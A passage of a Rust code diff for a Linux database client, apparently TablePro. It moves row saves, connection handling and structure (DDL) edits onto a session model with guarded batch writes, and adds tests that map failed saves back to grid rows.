tablepro_session::ConnectAttempts::new(), settings: settings.clone(), storage: storage.clone(), tasks: tasks.clone(), @@ -1271,7 +1303,6 @@ impl SimpleComponent for App { connections_factory, connections_listbox, connections_popover: widgets.connections_popover.clone(), - health_state: None, row_op_spinner: widgets.row_op_spinner.clone(), read_only_badge: widgets.read_only_badge.clone(), table_search: widgets.table_search.clone(), @@ -1315,7 +1346,7 @@ impl SimpleComponent for App { let banner_sender = sender.clone(); widgets.reconnect_banner.connect_button_clicked(move |_| { - banner_sender.input(AppMsg::RefreshPage); + banner_sender.input(AppMsg::RetryConnection); }); let list_banner_sender = sender.clone(); @@ -1323,12 +1354,6 @@ impl SimpleComponent for App { list_banner_sender.input(AppMsg::ResetConnectionList); }); - let poll_sender = sender.clone(); - glib::timeout_add_seconds_local(1, move || { - poll_sender.input(AppMsg::PollHealth); - glib::ControlFlow::Continue - }); - ComponentParts { model, widgets } } @@ -1336,12 +1361,26 @@ impl SimpleComponent for App { // The gate holds the window's action, so it has to stop before // the window does. self.history_gate.abort(); + self.prompt_presenter.abort(); + self.session_links = None; } fn update(&mut self, msg: Self::Input, sender: ComponentSender) { match msg { AppMsg::OpenConnect => self.on_open_connect(sender), - AppMsg::Connected { tables, driver_id } => self.on_connected(tables, driver_id, sender), + AppMsg::SessionReady(ready) => self.on_session_ready(*ready, sender), + AppMsg::ConnectSubmitted(submission) => self.on_connect_submission(*submission, sender), + AppMsg::ConnectSubmissionConfirmed(submission) => self.connect_submission(*submission, sender), + AppMsg::ConnectFailed { + generation, + message, + edit, + } => self.on_connect_failed(generation, message, edit, sender), + AppMsg::CancelConnect => self.on_cancel_connect(), + AppMsg::EditConnection(retry) => self.on_edit_connection(*retry, sender), + AppMsg::HealthChanged(health) => self.refresh_health_banner(&health), + AppMsg::RetryConnection => self.on_retry_connection(), + AppMsg::CatalogChanged(objects) => self.on_tables_reloaded(objects), AppMsg::Disconnect => self.on_disconnect(sender), AppMsg::ForceDisconnect => self.do_disconnect(sender), AppMsg::DialogClosed => self.dialog = None, @@ -1361,24 +1400,22 @@ impl SimpleComponent for App { AppMsg::WorkspaceSchemaWordsChanged => self.rebuild_schema_buffer(), AppMsg::ExecuteBrowseTransaction { tab_id, - statements, - sources, + table, + columns, + changes, } => { - self.on_execute_browse_transaction(tab_id, statements, sources, sender); + self.on_execute_browse_transaction(tab_id, table, columns, changes, sender); } - AppMsg::SaveCompletedForTab(tab_id, warning) => { + AppMsg::SaveCompletedForTab(tab_id) => { self.set_row_op_in_flight(false); self.in_flight_saves.set(self.in_flight_saves.get().saturating_sub(1)); - // GNOME HIG toast pattern: confirm one-shot events. - // Concurrency warning takes precedence (it implicitly - // confirms the save *and* explains the partial-match); - // otherwise the plain "Saved" reads as a successful - // commit. No Undo button — the transaction has already - // committed; users have explicit Ctrl+Z before Save. - // 4s timeout (vs the default 5) so the success toast - // doesn't hang around long after the user has moved on. - let msg = warning.unwrap_or_else(|| crate::i18n::gettext("Saved")); - let toast = adw::Toast::builder().title(msg).timeout(4).build(); + // No Undo button: the save has already committed, and + // Ctrl+Z is for edits before Save. A shorter timeout + // keeps the confirmation from outstaying the moment. + let toast = adw::Toast::builder() + .title(crate::i18n::gettext("Saved")) + .timeout(4) + .build(); self.toast_overlay.add_toast(toast); self.dispatch_to_tab(tab_id, BrowseTabInput::SaveCompleted); // If the user picked Save in a close-confirmation @@ -1457,15 +1494,13 @@ impl SimpleComponent for App { AppMsg::FetchStructureData { tab_id } => self.on_fetch_structure_data(tab_id, sender), AppMsg::StructureDataLoaded { tab_id, - columns, - indexes, - fks, - } => self.on_structure_data_loaded(tab_id, columns, indexes, fks), + definition, + dialect, + } => self.on_structure_data_loaded(tab_id, *definition, dialect), AppMsg::StructureLoadFailed { tab_id, message } => self.on_structure_load_failed(tab_id, message), AppMsg::StructureTabDirtyChanged(tab_id, dirty) => self.refresh_structure_tab_dirty(tab_id, dirty), AppMsg::SchemaChanged { schema, table } => self.on_schema_changed(schema, table, sender), AppMsg::TablesReloaded(tables) => self.on_tables_reloaded(tables), - AppMsg::RowOpStarted => self.set_row_op_in_flight(true), AppMsg::ReloadConnections => self.on_reload_connections(sender), AppMsg::ConnectionListUnavailable => self.show_connection_list_banner(), AppMsg::SecretDeleteFailed(id) => self.on_secret_delete_failed(id, sender), @@ -1509,7 +1544,6 @@ impl SimpleComponent for App { self.show_toast(&crate::i18n::gettext("Connect to a database first to run SQL.")); } } - AppMsg::PollHealth => self.on_poll_health(), AppMsg::RefreshPage => self.on_refresh_active_tab(), AppMsg::ShowAbout => self.on_show_about(), AppMsg::ShowPreferences => super::preferences_dialog::PreferencesDialog::new( @@ -1520,13 +1554,23 @@ impl SimpleComponent for App { ) .present(Some(&self.window)), AppMsg::ExportResults { result, name, target } => { - super::export_dialog::present(&self.window, &self.toast_overlay, result, name, target, &self.settings) + let dialect = self.context.active.get().and_then(|session| session.current_dialect()); + super::export_dialog::present( + &self.window, + &self.toast_overlay, + result, + name, + target, + dialect, + &self.settings, + ) } AppMsg::CopyToClipboard(text) => self.on_copy_to_clipboard(text), AppMsg::CopyRowAsInsert { tab_id, row_position } => self.on_copy_row_as_insert(tab_id, row_position), AppMsg::DeleteConnection(id) => self.on_delete_connection(id, sender), AppMsg::DuplicateConnection(saved) => self.on_duplicate_connection(saved, sender), AppMsg::OpenSaved(saved) => self.on_open_saved(saved, sender), + AppMsg::OpenSavedConfirmed(saved) => self.connect_saved(saved, sender), AppMsg::ReopenClosedTab => self.on_reopen_closed_tab(sender), AppMsg::ShowFilterDialog => self.on_show_filter_dialog(), } diff --git a/linux/crates/app/src/ui/app/ran_statements.rs b/linux/crates/app/src/ui/app/ran_statements.rs index 7f13beff7e..241058dc89 100644 --- a/linux/crates/app/src/ui/app/ran_statements.rs +++ b/linux/crates/app/src/ui/app/ran_statements.rs @@ -1,10 +1,9 @@ use std::time::SystemTime; +use tablepro_session::ConnectionMetadata; use tablepro_storage::QueryHistory; use tablepro_storage::query_history::{NewEntry, Outcome}; -use crate::services::database_service; - /// What the app needs to record a statement batch it ran on the user's /// behalf. /// @@ -16,29 +15,19 @@ use crate::services::database_service; #[derive(Debug, Clone)] pub(super) struct RanStatements { history: Option, - connection: Option, + connection: Option, sql: String, started_at: SystemTime, } -#[derive(Debug, Clone)] -struct Connection { - id: uuid::Uuid, - name: String, - driver_id: String, -} - impl RanStatements { /// Capture the batch about to run. `sql` reads as one entry in the /// history list, which is how the user thinks of one save. - pub(super) fn starting(history: Option, statements: impl IntoIterator) -> Self { - let connection = database_service::instance() - .active_metadata() - .map(|metadata| Connection { - id: metadata.id, - name: metadata.name, - driver_id: metadata.driver_id, - }); + pub(super) fn starting( + history: Option, + connection: Option, + statements: impl IntoIterator, + ) -> Self { Self { history, connection, diff --git a/linux/crates/app/src/ui/app/row_ops.rs b/linux/crates/app/src/ui/app/row_ops.rs index 70f925a15e..941171ac80 100644 --- a/linux/crates/app/src/ui/app/row_ops.rs +++ b/linux/crates/app/src/ui/app/row_ops.rs @@ -1,10 +1,14 @@ use relm4::adw::prelude::*; use relm4::{ComponentController, ComponentSender}; -use tablepro_core::{DriverError, Value}; +use tablepro_core::meta::TableRef; +use tablepro_core::save::{SavePlan, plan_save}; +use tablepro_core::{ColumnInfo, DriverError, WriteKind}; +use tablepro_session::runtime::Tasks; +use tablepro_session::{OperationError, OperationKind}; use uuid::Uuid; -use crate::services::change_tracker::StatementSource; +use crate::services::change_tracker::{StatementSource, TrackedChanges, pk_identity}; use crate::ui::browse_tab::BrowseTabInput; use crate::ui::error_text; @@ -12,97 +16,108 @@ use super::ran_statements::RanStatements; use super::{App, AppMsg}; impl App { - /// Atomic Save handler for the inline-spreadsheet pattern. - /// Receives a fully-materialised `Vec<(SQL, params)>` from a - /// BrowseTab's `TabChangeTracker` and runs them all inside one - /// transaction. On success, dispatches `BrowseTabInput:: - /// SaveCompleted` so the tab clears its tracker + refetches. On - /// failure, the entire transaction has already been rolled back - /// by the driver; we just surface the error message. + /// Save a browse tab's pending changes as one batch. + /// + /// The plan is built inside the operation from the connection it + /// runs on, so the SQL matches that server even after a reconnect. + /// Every update and delete carries a row guard: a row another + /// session changed or removed fails the whole save rather than + /// passing as a save that touched nothing. pub(super) fn on_execute_browse_transaction( &self, tab_id: Uuid, - statements: Vec<(String, Vec)>, - sources: Vec, + table: TableRef, + columns: Vec, + changes: TrackedChanges, sender: ComponentSender, ) { - let Some(conn) = crate::services::database_service::instance().active() else { + let Some(session) = self.context.active.get() else { self.dispatch_to_tab( tab_id, BrowseTabInput::SaveFailed(crate::i18n::gettext("No active connection")), ); return; }; - // Drivers that cannot report a row count for UPDATE / DELETE - // return 0 for every statement, which the concurrency guard - // below would read as "every row vanished". Skip the guard for - // them rather than warn on every successful save. - let reports_rows_affected = self - .current_driver_id - .as_ref() - .and_then(|id| self.registry.get(id)) - .is_none_or(|driver| driver.reports_rows_affected()); self.set_row_op_in_flight(true); - // Increment the in-flight counter so window-close blocks until - // the transaction resolves. Decrement happens in the - // SaveCompletedForTab / SaveFailedForTab handlers regardless of - // outcome. + // Window-close waits while this is above zero, so a save never + // commits after its tab is gone. SaveCompletedForTab and + // SaveFailedForTab bring it back down whatever the outcome. self.in_flight_saves.set(self.in_flight_saves.get() + 1); - let sender_for_cmd = sender.clone(); - // A row save changes the database, so it belongs in the same - // history as a statement run from the editor. - let ran = RanStatements::starting( - self.history.store(), - statements.iter().map(|(sql, _)| sql.clone()).collect::>(), - ); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - match conn.execute_in_transaction(&statements).await { - Ok(affected) => { - // Optimistic-concurrency guard: every UPDATE - // and DELETE in our materialised set targets - // a single PK-identified row, so each must - // affect exactly one row. Zero affected for - // any of them means the row was modified or - // deleted by another session between fetch - // and save. The transaction still committed - // — there's nothing to roll back — but the - // user must hear about it so a phantom save - // doesn't pass silently. - let warning = reports_rows_affected - .then(|| compute_concurrency_warning(&statements, &affected)) - .flatten(); - let touched = affected.iter().copied().sum::(); - ran.finished( - i64::try_from(touched).ok(), - tablepro_storage::query_history::Outcome::Success, - ) - .await; - sender_for_cmd.input(AppMsg::RowOpStarted); - sender_for_cmd.input(AppMsg::WorkspaceSchemaWordsChanged); - sender_for_cmd.input(AppMsg::SaveCompletedForTab(tab_id, warning)); - } - Err(e) => { - // If the driver pinpointed which statement - // failed, look up its source and ask the - // tab to scroll-and-select that row before - // showing the error dialog. The user sees - // the row in question without scanning the - // whole grid. - if let DriverError::RolledBack { statement_index, .. } = &e - && let Some(source) = sources.get(*statement_index).cloned() - { - sender_for_cmd.input(AppMsg::FlashErrorRowForTab(tab_id, source)); - } - let msg = error_text::driver_message(&e); - ran.finished(None, tablepro_storage::query_history::Outcome::Error(msg.clone())) - .await; - sender_for_cmd.input(AppMsg::SaveFailedForTab(tab_id, msg)); - } + let history = self.history.store(); + let connection = self.context.active.metadata(); + let work = async move { + let changes_for_plan = changes.changes.clone(); + let saved = session + .run(OperationKind::Save(WriteKind::RowChanges), move |lease, options| { + let table = table.clone(); + let columns = columns.clone(); + let changes = changes_for_plan.clone(); + async move { + let plan = plan_save(&*lease.dialect(), &table, &columns, &pk_identity(&columns), &changes)?; + // A row save changes the database, so it belongs + // in the same history as a statement run from the + // editor. + let sql: Vec = plan + .batch + .steps + .iter() + .map(|step| step.statement.sql().to_owned()) + .collect(); + let outcome = lease.write_batch(&plan.batch, options).await; + Ok((plan, sql, outcome)) } }) - .drop_on_shutdown() + .await; + (saved, changes) + }; + let tasks = self.context.tasks.clone(); + let history_tasks = tasks.clone(); + let _delivery = crate::runtime::spawn_and_deliver(&tasks, work, move |finished| { + let (saved, changes) = match finished { + Ok(finished) => finished, + Err(failure) => { + tracing::warn!(%failure, "the save task did not finish"); + sender.input(AppMsg::SaveFailedForTab( + tab_id, + crate::i18n::gettext("The save did not finish."), + )); + return; + } + }; + let (plan, sql, outcome) = match saved { + Ok(planned) => planned, + Err(error) => { + sender.input(AppMsg::SaveFailedForTab( + tab_id, + error_text::operation_error_message(&error), + )); + return; + } + }; + let ran = RanStatements::starting(history, connection, sql); + match outcome { + Ok(report) => { + let touched = report.total_rows(); + record( + &history_tasks, + ran, + touched.and_then(|rows| i64::try_from(rows).ok()), + None, + ); + sender.input(AppMsg::WorkspaceSchemaWordsChanged); + sender.input(AppMsg::SaveCompletedForTab(tab_id)); + } + Err(error) => { + // The row behind the failing step is flashed before + // the error shows, so the user sees which one it was. + if let Some(source) = failing_source(&plan, &changes, &error) { + sender.input(AppMsg::FlashErrorRowForTab(tab_id, source)); + } + let message = error_text::operation_error_message(&OperationError::Driver(error)); + record(&history_tasks, ran, None, Some(message.clone())); + sender.input(AppMsg::SaveFailedForTab(tab_id, message)); + } + } }); } @@ -111,26 +126,25 @@ impl App { } pub(super) fn on_copy_row_as_insert(&self, tab_id: Uuid, row_position: u32) { - let (columns, driver_id, snapshot, table) = { + let (columns, snapshot, table) = { let tabs = self.workspace_tabs.borrow(); let Some(controller) = tabs.get(&tab_id).and_then(|t| t.browse_controller()) else { return; }; let model = controller.model(); - ( - model.columns().to_vec(), - model.driver_id().to_string(), - model.snapshot(), - model.table().to_string(), - ) + (model.columns().to_vec(), model.snapshot(), model.table().to_string()) }; let Some(snapshot) = snapshot else { return }; let Some(row) = snapshot.rows.get(row_position as usize) else { return; }; - let dialect = tablepro_core::dialect::dialect_for(&driver_id); + let Some(dialect) = self.context.active.get().and_then(|session| session.current_dialect()) else { + self.show_toast(&crate::i18n::gettext("Connect to a database first.")); + return; + }; let result_columns: Vec<_> = columns.iter().map(|column| column.result_column()).collect(); - let sql = tablepro_core::export::render_sql_insert(dialect, &table, &result_columns, std::slice::from_ref(row)); + let sql = + tablepro_core::export::render_sql_insert(&*dialect, &table, &result_columns, std::slice::from_ref(row)); let sql = sql.trim_end().to_owned(); self.window.clipboard().set_text(&sql); self.show_toast(&crate::i18n::gettext("INSERT statement copied")); @@ -142,81 +156,113 @@ impl App { } } -/// Inspect the SQL prefix of each statement and compare its expected -/// affected-row count against the driver's reported count. Returns -/// `Some(message)` if any UPDATE / DELETE matched zero rows. -/// -/// `materialize` always emits one UPDATE / DELETE per PK-identified -/// row, so each is expected to affect exactly one row. Zero means the -/// target row was modified or deleted out-of-band between fetch and -/// save. INSERTs are ignored — auto-increment / generated-column rows -/// can plausibly affect zero according to driver quirks (e.g. ON -/// CONFLICT DO NOTHING in user-extended SQL), and we don't produce -/// those today. -fn compute_concurrency_warning(statements: &[(String, Vec)], affected: &[u64]) -> Option { - let mut zero_updates = 0usize; - let mut zero_deletes = 0usize; - for (idx, (sql, _)) in statements.iter().enumerate() { - let count = affected.get(idx).copied().unwrap_or(0); - if count > 0 { - continue; - } - let trimmed = sql.trim_start().to_ascii_uppercase(); - if trimmed.starts_with("UPDATE") { - zero_updates += 1; - } else if trimmed.starts_with("DELETE") { - zero_deletes += 1; - } - } - if zero_updates == 0 && zero_deletes == 0 { - return None; - } - let total = zero_updates + zero_deletes; - Some(crate::i18n::gettext_f( - "{n} rows could not be located. They may have been changed by another session. Refresh and review.", - &[("n", &total.to_string())], - )) +/// The grid row behind the statement a save failed at, when the +/// engine said which one it was. +fn failing_source(plan: &SavePlan, changes: &TrackedChanges, error: &DriverError) -> Option { + let step = match error { + DriverError::RolledBack { statement_index, .. } + | DriverError::RowGuardFailed { statement_index, .. } + | DriverError::GuardUnsupported { statement_index } + | DriverError::PartiallyApplied { statement_index, .. } => *statement_index, + _ => return None, + }; + changes.source(plan.origin(step)?) +} + +/// Record a save in the history. The history database needs the +/// runtime, and a history that cannot be written is worth a log line, +/// never a lost edit, so nothing waits for it. +fn record(tasks: &Tasks, ran: RanStatements, rows_affected: Option, failure: Option) { + let outcome = match failure { + None => tablepro_storage::query_history::Outcome::Success, + Some(message) => tablepro_storage::query_history::Outcome::Error(message), + }; + drop(tasks.spawn_task(ran.finished(rows_affected, outcome))); } #[cfg(test)] mod tests { - use super::compute_concurrency_warning; + use tablepro_core::Value; + use tablepro_core::column::{ColumnDefault, ColumnKind, ColumnType, IntegerKind, IntegerWidth}; - fn stmt(sql: &str) -> (String, Vec) { - (sql.to_string(), Vec::new()) - } + use super::*; + use crate::services::change_tracker::{RowKey, TabChangeTracker}; - #[test] - fn warning_none_when_all_match() { - let stmts = vec![stmt("UPDATE \"t\" SET …"), stmt("DELETE FROM \"t\" …")]; - assert!(compute_concurrency_warning(&stmts, &[1, 1]).is_none()); + fn column(name: &str, primary_key: bool) -> ColumnInfo { + let mut column_type = ColumnType::untyped_text("integer"); + column_type.kind = ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }); + ColumnInfo { + name: name.to_owned(), + column_type, + nullable: false, + primary_key, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } } - #[test] - fn warning_present_when_update_matches_zero() { - let stmts = vec![stmt("UPDATE \"t\" SET …"), stmt("DELETE FROM \"t\" …")]; - let w = compute_concurrency_warning(&stmts, &[0, 1]).unwrap(); - assert!(w.contains("1 rows")); + fn planned() -> (SavePlan, TrackedChanges, RowKey) { + let columns = vec![column("id", true), column("n", false)]; + let edited = RowKey::from_pk_values(&[Value::Int(3)]).unwrap(); + let mut tracker = TabChangeTracker::new(); + tracker.track_insert(vec![Value::Int(10), Value::Int(1)]); + tracker.track_cell_edit(edited.clone(), 1, Value::Int(1), Value::Int(2)); + let changes = tracker.change_set(&columns).unwrap(); + let dialect = drivers_sqlite::SqliteDialect::new(drivers_sqlite::SqliteVersion::new(3, 45, 0)); + let plan = plan_save( + &dialect, + &TableRef::unqualified("t"), + &columns, + &pk_identity(&columns), + &changes.changes, + ) + .unwrap(); + (plan, changes, edited) } #[test] - fn warning_counts_update_and_delete_zero_together() { - let stmts = vec![stmt("UPDATE a"), stmt("DELETE FROM b"), stmt("UPDATE c")]; - let w = compute_concurrency_warning(&stmts, &[0, 0, 1]).unwrap(); - assert!(w.contains("2 rows")); + fn a_guard_failure_flashes_the_row_it_was_about() { + let (plan, changes, edited) = planned(); + let error = DriverError::RowGuardFailed { + statement_index: 1, + expected: 1, + actual: 0, + }; + + let source = failing_source(&plan, &changes, &error); + + assert!(matches!(source, Some(StatementSource::Update { row_key }) if row_key == edited)); } #[test] - fn warning_ignores_zero_inserts() { - // INSERT with affected=0 is unusual but not necessarily a phantom - // — keep the warning specific to UPDATE / DELETE for now. - let stmts = vec![stmt("INSERT INTO t (a) VALUES (?)"), stmt("UPDATE t SET …")]; - assert!(compute_concurrency_warning(&stmts, &[0, 1]).is_none()); + fn a_rolled_back_insert_flashes_its_draft() { + let (plan, changes, _) = planned(); + let error = DriverError::RolledBack { + statement_index: 0, + source: Box::new(DriverError::server("duplicate key")), + }; + + assert!(matches!( + failing_source(&plan, &changes, &error), + Some(StatementSource::Insert { .. }) + )); } #[test] - fn warning_handles_lowercase_and_whitespace() { - let stmts = vec![stmt(" update t set x = 1 where id = 5")]; - assert!(compute_concurrency_warning(&stmts, &[0]).is_some()); + fn an_error_that_names_no_statement_flashes_nothing() { + let (plan, changes, _) = planned(); + + assert!(failing_source(&plan, &changes, &DriverError::Busy).is_none()); + let past_the_end = DriverError::RowGuardFailed { + statement_index: 7, + expected: 1, + actual: 0, + }; + assert!(failing_source(&plan, &changes, &past_the_end).is_none()); } } diff --git a/linux/crates/app/src/ui/app/status_pages.rs b/linux/crates/app/src/ui/app/status_pages.rs index 0c39e562c6..73d88322d3 100644 --- a/linux/crates/app/src/ui/app/status_pages.rs +++ b/linux/crates/app/src/ui/app/status_pages.rs @@ -19,7 +19,7 @@ impl App { /// resolves, at which point `dismiss_loading_page` clears it. Replaces /// the prior fire-and-forget toast which auto-dismissed at 2 s, well /// before remote / SSH-tunnelled connections resolve. - pub(super) fn set_loading_page(&mut self, title: &str, description: &str) { + pub(super) fn set_loading_page(&mut self, title: &str, description: &str, sender: &ComponentSender) { if let Some(prev) = self.connect_progress_toast.take() { prev.dismiss(); } @@ -34,6 +34,11 @@ impl App { format!("{title} · {description}") }; let toast = adw::Toast::builder().title(&body).timeout(0).build(); + // A connect through SSH or to a server that drops packets can + // take the whole connect timeout, so it can be stopped here. + toast.set_button_label(Some(&crate::i18n::gettext("Cancel"))); + let cancel = sender.clone(); + toast.connect_button_clicked(move |_| cancel.input(AppMsg::CancelConnect)); self.toast_overlay.add_toast(toast.clone()); self.connect_progress_toast = Some(toast); } @@ -85,9 +90,7 @@ impl App { let dialog = SavedQueriesDialog::builder() .launch(SavedQueriesDialogInit { store: self.history.store().map(|history| history.saved_queries()), - active_connection: crate::services::database_service::instance() - .active_metadata() - .map(|metadata| metadata.id), + active_connection: self.context.active.metadata().map(|metadata| metadata.id), }) .forward(sender.input_sender(), |out| match out { SavedQueriesDialogOutput::OpenInNewTab(text) => AppMsg::OpenHistoryQuery(text), @@ -112,10 +115,7 @@ impl App { self.show_toast(&crate::i18n::gettext("There is nothing in the editor to save.")); return; } - if crate::services::database_service::instance() - .active_metadata() - .is_none() - { + if !self.context.active.is_connected() { self.show_toast(&crate::i18n::gettext( "Connect to a database first: a saved query is kept under its connection.", )); @@ -157,7 +157,7 @@ impl App { self.show_toast(&crate::i18n::gettext("The query database is not open yet.")); return; }; - let Some(metadata) = crate::services::database_service::instance().active_metadata() else { + let Some(metadata) = self.context.active.metadata() else { self.show_toast(&crate::i18n::gettext( "Connect to a database first: a saved query is kept under its connection.", )); diff --git a/linux/crates/app/src/ui/app/structure.rs b/linux/crates/app/src/ui/app/structure.rs index c012e204a4..753ee2954c 100644 --- a/linux/crates/app/src/ui/app/structure.rs +++ b/linux/crates/app/src/ui/app/structure.rs @@ -2,19 +2,27 @@ //! //! Each `on_*` method mirrors the equivalent Browse-tab path in //! `browse.rs` / `row_ops.rs`: dispatch by tab id, take a slot -//! reference, run async work via `sender.command`, route results -//! back through `AppMsg::Structure*Loaded` / `Structure*Completed` -//! variants. Window-close is gated by the shared `in_flight_saves` -//! counter so a Structure DDL transaction can't commit after the -//! window has been torn down. +//! reference, run the work through the session on the app runtime, +//! route results back through `AppMsg::Structure*Loaded` / +//! `Structure*Completed` variants. Window-close is gated by the shared +//! `in_flight_saves` counter so a Structure DDL write can't commit +//! after the window has been torn down. + +use std::sync::Arc; use relm4::adw::prelude::*; use relm4::{ComponentController, ComponentSender, adw}; use uuid::Uuid; -use tablepro_core::{ColumnInfo, Value}; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{ObjectInfo, ObjectScope, TableRef}; +use tablepro_core::sql_ddl::{BuildDdlError, DraftColumn, StructureOp, materialize_ops}; +use tablepro_core::statement::{GuardedStatement, StatementBuilder}; +use tablepro_core::{ForeignKeyMode, WriteBatch, WriteKind, WriteReport}; +use tablepro_session::runtime::TaskFailure; +use tablepro_session::{OperationError, OperationKind, Session}; -use crate::services::database_service; use crate::services::structure_tracker; use crate::ui::app::{App, AppMsg, WorkspaceTab}; use crate::ui::error_text; @@ -28,6 +36,18 @@ impl App { return; } self.append_new_structure_tab(schema, sender); + // A draft has no table to read the dialect back with, so the + // session's current one is handed over for its SQL preview. + let dialect = self.context.active.get().and_then(|session| session.current_dialect()); + if let (Some(tab_id), Some(dialect)) = (self.selected_workspace_tab_id(), dialect) + && let Some(controller) = self + .workspace_tabs + .borrow() + .get(&tab_id) + .and_then(|tab| tab.structure_controller()) + { + let _ = controller.sender().send(StructureTabInput::DialectReady(dialect)); + } } /// Sidebar right-click → "Edit Structure". Opens a dedicated @@ -116,35 +136,22 @@ impl App { return; } }; - let schema_for_msg = schema.clone(); - let table_for_msg = table.clone(); - let sender_for_cmd = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let Some(conn) = database_service::instance().active() else { - sender_for_cmd.input(AppMsg::ShowAlert { - title: crate::i18n::gettext("Cannot drop table"), - body: crate::i18n::gettext("No active connection."), - }); - return; - }; - match conn.execute(&sql).await { - Ok(_) => { - sender_for_cmd.input(AppMsg::DropTableSucceeded { - schema: schema_for_msg.clone(), - table: table_for_msg.clone(), - }); - } - Err(e) => { - sender_for_cmd.input(AppMsg::ShowAlert { - title: crate::i18n::gettext("Drop failed"), - body: format!("{e}"), - }); - } - } - }) - .drop_on_shutdown() + let Some(session) = self.context.active.get() else { + self.show_error_alert( + &crate::i18n::gettext("Cannot drop table"), + &crate::i18n::gettext("No active connection."), + ); + return; + }; + let batch = schema_write(TableRef::new(schema.clone(), table.clone()), &[sql]); + crate::runtime::spawn_and_deliver(&self.context.tasks, run_schema_write(session, batch), move |result| { + match settled(result) { + Ok(_) => sender.input(AppMsg::DropTableSucceeded { schema, table }), + Err(error) => sender.input(AppMsg::ShowAlert { + title: crate::i18n::gettext("Drop failed"), + body: error_text::operation_error_message(&error), + }), + } }); } @@ -166,8 +173,15 @@ impl App { ); return; } + let Some(dialect) = self.context.active.get().and_then(|session| session.current_dialect()) else { + sender.input(AppMsg::StructureSaveFailed( + tab_id, + crate::i18n::gettext("No active connection."), + )); + return; + }; let driver_id = self.driver_id().to_string(); - let result = structure_tracker::with_tab_ref(tab_id, |t| t.materialize(&driver_id)); + let result = structure_tracker::with_tab_ref(tab_id, |t| t.materialize(&driver_id, &*dialect)); match result { Some(Ok(statements)) if !statements.is_empty() => { self.on_execute_structure_transaction(tab_id, statements, sender); @@ -224,12 +238,10 @@ impl App { } } - /// Structure tab Save → run ordered DDL statements. Engines whose - /// DDL is transactional go through `execute_in_transaction` so a - /// mid-batch failure rolls the whole save back; the driver owns the - /// transaction-control statements because their spelling and their - /// wire encoding are engine-specific. The rest execute - /// sequentially. + /// Structure tab Save → run the ordered DDL as one schema write. + /// The driver decides how it is wrapped: a transaction where the + /// engine's DDL is transactional, statement by statement where it + /// is not, and the error says which of the two the user got. pub(super) fn on_execute_structure_transaction( &mut self, tab_id: Uuid, @@ -237,14 +249,14 @@ impl App { sender: ComponentSender, ) { // Reject re-entry: a second Ctrl+S (or rapid double-click on - // Save) while the first DDL transaction is still mid-flight - // would dispatch a parallel async command and potentially - // commit the same statements twice. Mark the tab and bail. + // Save) while the first DDL write is still mid-flight would + // dispatch a parallel write and potentially commit the same + // statements twice. Mark the tab and bail. if !self.structure_saves_in_flight.borrow_mut().insert(tab_id) { tracing::debug!(?tab_id, "structure save already in flight; ignoring duplicate"); return; } - let Some(driver_id) = self.current_driver_id.clone() else { + let Some(session) = self.context.active.get() else { self.structure_saves_in_flight.borrow_mut().remove(&tab_id); sender.input(AppMsg::StructureSaveFailed( tab_id, @@ -252,104 +264,64 @@ impl App { )); return; }; - let ddl_is_transactional = self - .registry - .get(&driver_id) - .is_some_and(|driver| driver.ddl_is_transactional()); - let mode = { + let (mode, schema, slot_table) = { let tabs = self.workspace_tabs.borrow(); - let Some(slot) = tabs.get(&tab_id) else { - self.structure_saves_in_flight.borrow_mut().remove(&tab_id); - return; - }; - match slot { - WorkspaceTab::Structure(s) => s.mode, - // Table tabs no longer host the DDL editor — structure - // lives in its own WorkspaceTab::Structure. A structure - // Save dispatched against a Table-tab id can only be a - // stale queued message from before the split; clear the - // in-flight gate and bail. + match tabs.get(&tab_id) { + Some(WorkspaceTab::Structure(s)) => (s.mode, s.schema.clone(), s.table.clone()), + // Only a Structure tab hosts the DDL editor, so a save + // for any other id is a stale queued message. _ => { self.structure_saves_in_flight.borrow_mut().remove(&tab_id); return; } } }; - // For New mode we need the user-typed table name. Today the - // stub UI doesn't expose a name field yet, so pull it from - // the first CreateTable op in the tracker. - let new_table_name = if matches!(mode, StructureMode::New) { - structure_tracker::with_tab_ref(tab_id, |t| { - t.ops().iter().find_map(|op| { - if let tablepro_core::sql_ddl::StructureOp::CreateTable { table, .. } = op { - Some(table.clone()) - } else { - None - } - }) - }) - .flatten() - } else { - None + let ops = structure_tracker::with_tab_ref(tab_id, |t| t.ops().to_vec()).unwrap_or_default(); + let new_table_name = saved_table_name(mode, &ops); + // The batch names the table as it is before the write: a new + // table by the name it is being created under. + let batch_table = match mode { + StructureMode::New => new_table_name.clone().unwrap_or_default(), + StructureMode::Edit => slot_table, }; + let batch = schema_write(TableRef::new(schema, batch_table), &statements); self.in_flight_saves.set(self.in_flight_saves.get() + 1); - let sender_for_cmd = sender.clone(); // Structure edits change the database too, so the history // shows the DDL that did it and not only editor statements. - let ran = super::ran_statements::RanStatements::starting(self.history.store(), statements.clone()); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let Some(conn) = database_service::instance().active() else { - sender_for_cmd.input(AppMsg::StructureSaveFailed( - tab_id, - crate::i18n::gettext("No active connection."), - )); - return; - }; - if ddl_is_transactional { - let batch: Vec<(String, Vec)> = - statements.iter().map(|sql| (sql.clone(), Vec::new())).collect(); - if let Err(e) = conn.execute_in_transaction(&batch).await { - let message = error_text::driver_message(&e); - ran.finished(None, tablepro_storage::query_history::Outcome::Error(message.clone())) - .await; - sender_for_cmd.input(AppMsg::StructureSaveFailed(tab_id, message)); - return; - } - } else { - for sql in &statements { - if let Err(e) = conn.execute(sql).await { - let message = error_text::driver_message(&e); - ran.finished(None, tablepro_storage::query_history::Outcome::Error(message.clone())) - .await; - sender_for_cmd.input(AppMsg::StructureSaveFailed(tab_id, message)); - return; - } - } - } - ran.finished(None, tablepro_storage::query_history::Outcome::Success) - .await; - sender_for_cmd.input(AppMsg::StructureSaveCompleted { - tab_id, - new_table_name: new_table_name.clone(), - }); - }) - .drop_on_shutdown() + let ran = super::ran_statements::RanStatements::starting( + self.history.store(), + self.context.active.metadata(), + statements, + ); + let work = async move { + let result = run_schema_write(session, batch).await; + let outcome = match &result { + Ok(_) => tablepro_storage::query_history::Outcome::Success, + Err(error) => { + tablepro_storage::query_history::Outcome::Error(error_text::operation_error_message(error)) + } + }; + 